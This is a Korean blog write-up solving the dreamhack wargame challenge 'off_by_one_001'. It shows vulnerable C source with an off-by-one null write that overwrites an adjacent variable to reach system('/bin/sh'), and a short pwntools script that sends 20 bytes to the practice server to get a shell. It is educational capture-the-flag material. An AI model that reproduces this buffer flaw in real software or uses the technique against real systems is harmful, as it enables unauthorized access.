서브웨이

dreamhack off_by_one_001 풀이 본문

Pwnable/dreamhack

dreamhack off_by_one_001 풀이

샌드위치메이커 2021. 7. 27. 15:14

이전 문제와 비슷한 유형일 것 같습니다.

 

일단 소스코드를 봅시다.

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>

void alarm_handler()
{
    puts("TIME OUT");
    exit(-1);
}

void initialize()
{
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    signal(SIGALRM, alarm_handler);
    alarm(30);
}

void read_str(char *ptr, int size)
{
    int len;
    len = read(0, ptr, size);
    printf("%d", len);
    ptr[len] = '\0';
}

void get_shell()
{
    system("/bin/sh");
}

int main()
{
    char name[20];
    int age = 1;

    initialize();

    printf("Name: ");
    read_str(name, 20);

    printf("Are you baby?");

    if (age == 0)
    {
        get_shell();
    }
    else
    {
        printf("Ok, chance: \n");
        read(0, name, 20);
    }

    return 0;
}

역시나 비슷한 예제입니다.

일단 name 변수에 read_str 함수로 입력을 받고 age가 0이면 쉘을 실행합니다.

read_str 함수에서는 20만큼 입력을 받아서 이미 취약한 코드에 ptr에 20번째에 굳이 \0를 넣음으로써 확인사살을 해줍니다.

그럼 아무 값이나 넣어도 일단 name변수 다음 4바이트의 마지막 바이트는 0으로 조작이 될 것 같습니다.

 

어셈블리코드를 봅시다.

name 문자열은 ebp-0x18에, age 변수는 ebp-0x4에 위치하네요.

그럼 그냥 입력값에 아무값이나 20개를 보내면 name의 바로 다음에 위치한 age 변수의 1바이트가 0으로 조작됩니다.

 

익스플로잇 코드는... 다음과 같이 간단합니다.

from pwn import * 

p = remote('host1.dreamhack.games', 23758)

payload = b'A'*20

p.recvuntil('Name: ')
p.send(payload)

p.interactive()

 

'Pwnable > dreamhack' 카테고리의 다른 글

dreamhack sint 풀이  (0) 2021.07.27
dreamhack out_of_bound 풀이  (0) 2021.07.27
dreamhack off_by_one_000 풀이  (0) 2021.07.27
dreamhack welcome 풀이  (0) 2021.07.20
dreamhack basic_exploitation_003 풀이  (0) 2021.07.20
Comments